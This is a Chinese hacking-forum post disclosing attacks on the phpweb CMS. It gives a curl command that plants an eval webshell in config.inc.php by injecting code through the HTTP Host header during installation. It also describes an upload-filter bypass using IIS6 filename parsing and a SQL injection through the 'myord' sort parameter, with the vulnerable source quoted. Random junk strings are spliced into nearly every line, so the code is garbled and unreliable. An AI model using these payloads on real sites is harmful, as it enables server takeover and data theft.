找回密码
 立即注册
查看: 2781|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:8 ~9 W) r8 @1 U' N
  a" D+ K0 y1 V7 H% A$ V
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 J. W) o: Z7 {* V) }" X
# u3 V7 i; B) e* Y7 q% R鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" q! c7 r1 ]. Q/ k( a6 [( @
鸡肋2: 有一定安全常识的站长都会删掉 install 目录- n$ J* r% x" o1 E

. R6 B1 L: [. d/ f/ ?9 @虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
8 j: A' X. j/ [/ M- J+ T7 t" G , P6 B9 R5 v& y! H* |3 g
分析:
/ p$ V8 T  m: n9 s
2 n6 J3 x: _4 ~4 p# I& e
! G* C% D! g: o4 D( N! T7 j' I' t- K$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤' t5 t6 T; x" @- K' r+ \3 o3 y

: H6 ?0 o1 x* M7 M7 ]                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  a6 F. S$ P+ L. [0 u2 E7 E                                            $filestr=str_replace(" ","",$filestr);* W! S6 P  N: Y* g3 _# M
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# f1 \" U9 _, j; r                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);  l; |; ]9 H3 f1 Z/ D5 ~2 g
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);, ]8 x# n( H5 g5 _; D
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
* q! B" J/ j' ^8 P2 T" w                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 n) ^9 n, J( ]3 |5 Y
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 u* r- C( U" F' Z                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);9 Z3 S0 u  X3 F5 u2 H% M* p

+ t+ {3 u- R6 L0 d7 t                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
( \5 `# h9 Q9 U( G* c1 t/ n$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
. d8 E2 g; o2 e6 \# N
( R- [; _/ ?" b" Y- f6 z  W, E; Zpoc:$ u2 x/ a; U: D2 u! E# C6 p

4 l9 d' M5 E+ t1 R5 n- Z?- W) b8 z3 n- g+ c2 L6 }3 p
1
8 X, @& c+ A0 M- Ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
! ?, w; Z* @" C5 Hshell地址: /config.inc.php0 K; x- }7 W/ z# ?4 q
跟之前的 phpcms一样 需要远程数据库
6 j4 ^8 ?8 d7 \' M7 i
, F( Q; o6 h" O8 e5 r  u# b——————————————————–
& o  d% s$ G6 ]) s, s上传漏洞(需要进后台):7 z$ B2 V0 u% O/ j& N" M
漏洞文件: /kedit/upload_cgi/upload.php
4 G) ^1 `: v2 G' I& D$ K这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
( Q  r8 R1 v5 ^6 b" z, \6 T
3 K" y- S7 S  K4 \3 n ! U% M2 E4 W- R. s0 T* l3 u
<?php" }9 \) y% F0 Q) h- E
    define("ROOTPATH", "../../");
  p( H! c6 x) s4 B. s, _) z6 U    include(ROOTPATH."includes/admin.inc.php");
4 Q, }5 _( f5 m. Z* j0 R    NeedAuth(0);
' F0 g5 a" E0 M9 W7 w% o# g% }
. p* R2 R5 u8 L5 A1 E    $dt=date("Ymd",time());
& r6 i/ d% a+ A" u! |, J    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){  d6 j- K) g/ N2 P2 o* _: a
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
1 m. N$ s- \4 T% d9 R( H    }( D% M0 d' X2 l8 `/ ]# A

- m* l# v, k7 H  @+ z' B: Q/ w    //文件保存目录路径- P* L3 W5 V3 @8 N/ [7 |
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% U2 V  m% i$ }: b6 H    echo $save_path;
$ O- {! e) Y# N* R4 _8 @! x    //文件保存目录URL6 ~2 q5 n* G' j
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
& M$ o1 B! [" j  M  k2 s; e
" k' I7 n/ \" X) m    //定义允许上传的文件扩展名3 S# n0 b6 i& |- H3 H4 P
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
* u( i. W+ C4 {! {! D% j0 [ 1 B6 V0 n- h. E3 R" N
    //最大文件大小
9 V; ^# y/ l8 _5 ~& z, P! F! C8 p  z    $max_size = 1000000;" o! r7 n6 k* u
7 Z( V7 ?4 P6 A: ~3 T7 p
    //更改目录权限* b8 |  P6 D8 ?
    @mkdir($save_path, 0777);# g! X8 L6 L) b3 {
# ~' f' \: n% U4 a0 Y3 `
    //文件的全部路径6 A0 M# e; Q/ |* c
    $file_path = $save_path.$_POST['fileName'];   //保存文件名# v% J: d/ f* [/ l

- B' ]' }7 g8 C6 R# L# d9 l    //文件URL
9 @; u  L$ Q: O    $file_url = $save_url.$_POST['fileName'];1 K. K. {7 h+ |& X
//有上传文件时6 W' ~; N6 [, [
    if (empty($_FILES) === false) {
. ?$ w/ [( y9 x6 Z, ^
% s4 ?9 y7 M7 q/ y* Y" d4 e            //原文件名
2 X/ p5 R" A. o* }% D6 j" \( A# _            $file_name = $_FILES['fileData']['name'];0 _3 i1 }2 C& b: a1 r: N/ E
            //服务器上临时文件名
6 V8 e8 K# k0 I, y, {9 R: e            $tmp_name = $_FILES['fileData']['tmp_name'];% j  U. H) B3 h7 `6 n
            //文件大小, Q# k8 @7 @2 A9 x, z+ d3 N
            $file_size = $_FILES['fileData']['size'];
2 x$ P" ]1 c" |2 p            //检查目录) d7 h, F5 f& i( a8 H6 i. P: u" {5 B
            if (@is_dir($save_path) === false) {2 c( u8 I: U' ?, _: \
                    alert("上传目录不存在。");& |7 p6 D; G' m8 y6 Y1 w6 T  E
            }
6 A; W5 [/ M8 I: v4 O5 Q+ A            //检查目录写权限3 p- g1 H& s; \1 D& p
            if (@is_writable($save_path) === false) {& e& z& y5 D3 Q% H  e. H& o% R$ @
                    alert("上传目录没有写权限。");
3 ~5 s/ S7 j. h            }9 I% a6 _3 L2 ]- I7 N9 `& R' G
            //检查是否已上传: m! _0 a' x5 Q7 D1 j
            if (@is_uploaded_file($tmp_name) === false) {
3 A( c4 p* D3 K6 Z- O. D                    alert("临时文件可能不是上传文件。");
0 s$ L  T0 G- G* a! p3 C+ }; ^  X$ `) }            }
/ z# G9 F4 y3 x" X' N% H( \/ v            //检查文件大小( K+ e; I7 h) P6 V
            if ($file_size > $max_size) {& Z# k  O0 }3 t5 y. _
                    alert("上传文件大小超过限制。");
2 v7 e, u' x# z" D            }
: j" Y* K1 [/ ^" L. K& @* i            //获得文件扩展名
/ ^4 V8 R# k6 s& r6 ]            $temp_arr = explode(".", $_POST['fileName']);! \2 I  ~# P% T
            $file_ext = array_pop($temp_arr);5 Q1 l/ a$ n0 n& j) D# F) e% n
            $file_ext = trim($file_ext);8 p  G! @: P+ k; X' N$ o# q, G% R
            $file_ext = strtolower($file_ext);
, I' W$ y( X/ R3 Z
' e$ R" I% ~, m            //检查扩展名   6 k5 j, ^6 i2 D% j% }. s
            if (in_array($file_ext, $ext_arr) === false) {     6 Q4 a! n$ I$ x* l! G# Y4 G
                    alert("上传文件扩展名是不允许的扩展名。");# c: E$ J4 k& m  o, i* {
            }
! v+ C+ K9 L  F' s8 } ( V1 i* I2 d& O
            //移动文件   
$ {. ^& A' q7 a. q- J            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^# V6 u1 d2 [! D+ U6 d) [; A
            if (move_uploaded_file($tmp_name, $file_path) === false) {/ R* G) O: R- a/ s( D, m
                    alert("上传文件失败。");
1 A/ `0 V0 E5 m4 v            }' p, J% q( F; |) I9 ^6 I6 s

) i0 b8 x: Q" ~) X" n            @chmod($file_path,0666);8 {9 C' z, K" i7 n& ?
: B$ }! ~, V$ O/ ]4 ~4 Y8 h
    ?>) @. i3 t! u( q9 w* s
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227# k2 }9 }' |6 B: L$ j2 O
+ C5 ?; O' C, R
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过' F' c' ^9 |! h
& H5 j6 \) x. Z# y( v
——————————————————9 u% w! P9 ], ^( W  v
注入漏洞:% ^) h. Q5 G2 d5 w9 }) N
漏洞文件:search/module/search.php# h) R% K  A% l) S
/search/index.php?key=1&myord=1 [sqlinjection]
0 T- |5 Q' e! B# `# k1 ~
2 l& C2 l- h4 R" J; f . I8 ~/ W! c9 Z) L) N. z
<?php
6 B( ?! S0 S7 W  |7 v; o   //       ... 省略 n 行..., x9 S, ^2 v! J( k' P
   //第18行:" B& j5 z; A) O1 G
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
1 `: B/ S/ v3 h& A; z0 N5 S           $page=htmlspecialchars($_GET["page"]);- s. k9 v" M2 t2 [2 q, ?! a
           $myord=htmlspecialchars($_GET["myord"]);
3 K* M& o( i$ S  ?1 n8 W% M+ ~, z3 B
2 s# e& Y  y7 H+ Z" |% g7 _  z   //       ... 省略 n 行...; H( Y1 [1 Y" G# Y! k5 [8 z/ O
   $key,$myord 两个参数带入查询
3 b$ c( F; W& z6 O: N   //第47行 $key:) S' [6 v) P9 w8 K( F( }
, S# S1 v/ m! b, A2 R
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过.., U& P5 }2 D4 f: a" J' x
8 e/ i5 l8 j; P; [3 |  b
   //第197行 $myord
" m) F; [4 i0 ?2 p& K5 ?   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* p$ s/ w! w. b" A5 e0 j$ |* C3 u
7 O9 `# e: H; T, P7 y! T, T! v5 u) ^   ?>" G, O: n( R( T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表